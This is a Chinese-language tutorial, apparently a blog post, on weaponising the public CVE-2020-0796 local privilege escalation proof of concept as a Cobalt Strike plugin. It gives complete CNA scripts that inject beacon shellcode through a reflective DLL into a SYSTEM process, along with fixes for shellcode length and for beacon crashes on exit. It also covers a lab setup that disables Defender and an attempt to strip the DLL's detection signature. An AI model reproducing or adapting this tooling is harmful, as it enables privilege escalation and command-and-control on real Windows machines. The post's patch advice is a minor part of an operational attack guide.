0x00 前言
CVE-2020-0796(Windows SMBv3 Client/Server Remote Code Execution Vulnerability)是在SMB v3协议中存在的内存破坏漏洞,可用于远程RCE或本地提权。本文主要是利用已公开本地提权POC编写Cobalt Strike的提权插件, 用到了反射DLL的方法,具体可以在开发文档中搜索ReflectiveDll。
影响版本:
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
修补方式:
1.安装更新
2.Powershell命令禁用压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
0x01 项目构建
首先将ReflectiveDll项目复制到本地,然后将Poc代码抄整合到项目中(编写过程中会报很多错误,需要慢慢根据报错来修改):
修改入口函数,传递参数:
如果不出意外没有报错后,就开始进行编译设置,选择Release x64,使用多字节字符集:
代码生成-运行库选择多线程DLL(/MD)或多线程(/MT):
关闭pdb的输出:
然后就可以进行编译,成功编译后会输出DLL文件:
测试好的源码地址:github~
0x02 CNA脚本编写
CNA脚本是Cobalt Strike的插件脚本,用来给beacon下发各种指令增强Cobalt Strike的能力。
编写好的脚本如下,会将提权函数注册到beacon右键菜单-执行-提权中。函数会将上一步编译好的DLL反射进内存,然后传递shellcode执行:
sub CVE_2020_0796 {
local('$stager $arch $dll');
btask($1, "Task Beacon to run " . listener_describe($2) . " via CVE-2020-0796"); #KB4551762
if (-is64 $1)
{
$arch = "x64";
$dll = getFileProper(script_resource("modules"), "0796.dll");
$stager = transform(shellcode($2, false, $arch),"hex");
bdllspawn!($1, $dll,$stager, "Elevation of local privileges", 5000);
}
}
beacon_exploit_register("CVE_2020_0796", "CVE-2020-0796", &CVE_2020_0796);
0x03 提权测试
测试之前需要做一下环境的准备工作,先到MSDN itellyou上下载一个1909的镜像,在虚拟机中安装好后,进行以下设置:
- 暂停Windows更新(很关键,自动更新虚拟机占用20%CPU,顺便还把漏洞修了…)
- 关闭windows Defender
- 添加一个普通用户(net user admin 123 /add)
- 完成后保存快照
切换到admin下,随便传个🐴上去执行:
成功提权到SYSTEM:
0x04 提权原理
利用漏洞整数溢出(1108*A),覆盖返回地址指向_SEP_TOKEN_PRIVILEGES结构体,然后通过任意写更改token权限:
之后找到一个高权限进程进行shellcode注入,获取权限。
0x05 问题整理
- Shellcode大小计算
CNA脚本在利用反射DLL提权时,会给DLL传递shellcode参数,用的是这两个函数生成载荷:shellcode和stager,4.1可以用payload_local。
$data = shellcode("my listener", false, "x64");
$data = stager("my listener", "x64");
在DLL代码中,拿到该shellcode后,会进行长度计算,然后分配内存写入。而对传入的shellcode进行计算无非两种方法,单目运算符sizeof()和函数strlen(const char* str),在进行shellcode计算时会遇到00字节导致计算错误,导致注入的系统进程(如winlogo.exe)崩溃,造成系统注销或重启。实验通过以下几种方案来尝试获得shellcode大小:
方案1(失败):
先看这第一种直接传入shellcode二进制流的方法:
使用$stager = shellcode($2, false, $arch);
来生成shellcode:
可以正常获取到shellcode,但是没有办法计算分配的内存大小。
方案2(成功):
方案2是开发的插件采用的方法,在方案1中无论如何都无法获得正确的shellcode内存大小,这时想到之前利用http加载shellcode执行的方法,在程序中会接收字符串(ascll)形式的shellcode,然后再转为hex形式的c-shellcode进入内存执行。
如下的示例,只有第二组的shellcode进入内存才会被正确执行:
方案1问题在于无法获得正确的shellcode长度,方案2那么就先让它获取长度,而传入字符串可以使用strlen来获取长度,所以使用$stager = transform(shellcode($2, false, $arch),"hex");
来转换shellcode为hex编码的字符串:
现在长度获取到了,就需要将字符串的shellcode转换成c-shellcode进内存执行,进行转换的代码:
经过转换后,可以发现出现了熟悉的“麳冧痂”,剩下的就是按照漏洞利用流程在进程内存开辟891的空间,然后写入shellcode了:
方案3(成功):
在前两个方案中,要么就是无法获取长度,要么就是得转换shellcode,为什么不能在cna脚本里传递参数的时候就把长度给DLL呢。这里可以看下metasploit-framework的实现方法(专业!),安装了metasploit后可以在metasploit-framework\embedded\framework\external\source\exploits\CVE-2020-0796
下查看到源码:
metasploit是通过定义一个结构体,定义两种不同类型的参数:
typedef struct _MSF_PAYLOAD {
DWORD dwSize;
CHAR cPayloadData[];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
在cna脚本中传递过来的参数就为:
$stager = shellcode($2, false, $arch);
$stager = pack("I-", strlen($stager)) . $stager;
执行结果可以看到正确获取大小和数据流:
更棒的是,metasploit的exp可以直接拿过来用,只需要编写cna脚本传递参数即可。
- 导出函数名
在这里想尝试修改默认DLL的导出函数(去除特征ReflectiveLoader):
修改完成后编译,使用dumpbin工具查看DLL导出函数:
>"D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.27.29110\bin\Hostx64\x64\dumpbin.exe" /exports reflective_dll.x64.dll
然后加载执行:
额….,那还是老实用ReflectiveLoader。
- Beacon exit后进程崩溃
考虑是shellcode的原因,就像在beacon.exe中退出一样,进程会直接退出,那么就需要一个可以创建线程的shellcode来实现分离。在手册中看到有一个shellcode生成函数:
在cs4.0下报错,函数不存在:
使用cs4.1进行测试成功,exit后进程不崩溃:
cna脚本如下:
#cs4.1
sub CVE_2020_0796 {
local('$stager');
if (!-is64 $1) {
berror($1, "cve-2020-0796 exploit is x64 only");
return;
}
println("1");
btask($1, "Task Beacon to run " . listener_describe($2) . " cve-2020-0796");
$stager = payload_local($1, $2, "x64", "thread");
$stager = pack("I-", strlen($stager)) . $stager;
$dll = getFileProper(script_resource("modules"), "reflective_dll.x64.dll");
bdllspawn!($1, getFileProper(script_resource("modules"), "reflective_dll.x64.dll"), $stager, "cve-2020-0796", 5000);
beacon_link($1, $null, $3['listener']);
}
beacon_exploit_register("CVE_2020_0796", "CVE-2020-0796", &CVE_2020_0796);
另外在4.1中普通权限获取的beacon信息中Build号(影响18362和18363)实际测试并不准确:
#输出beacon信息
foreach $key => $value (binfo($1)) {
println("$[15]key $value");
}
0x06 参考链接
https://bbs.pediy.com/thread-262027.htm
https://github.com/pandasec888/taowu-cobalt-strike
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0796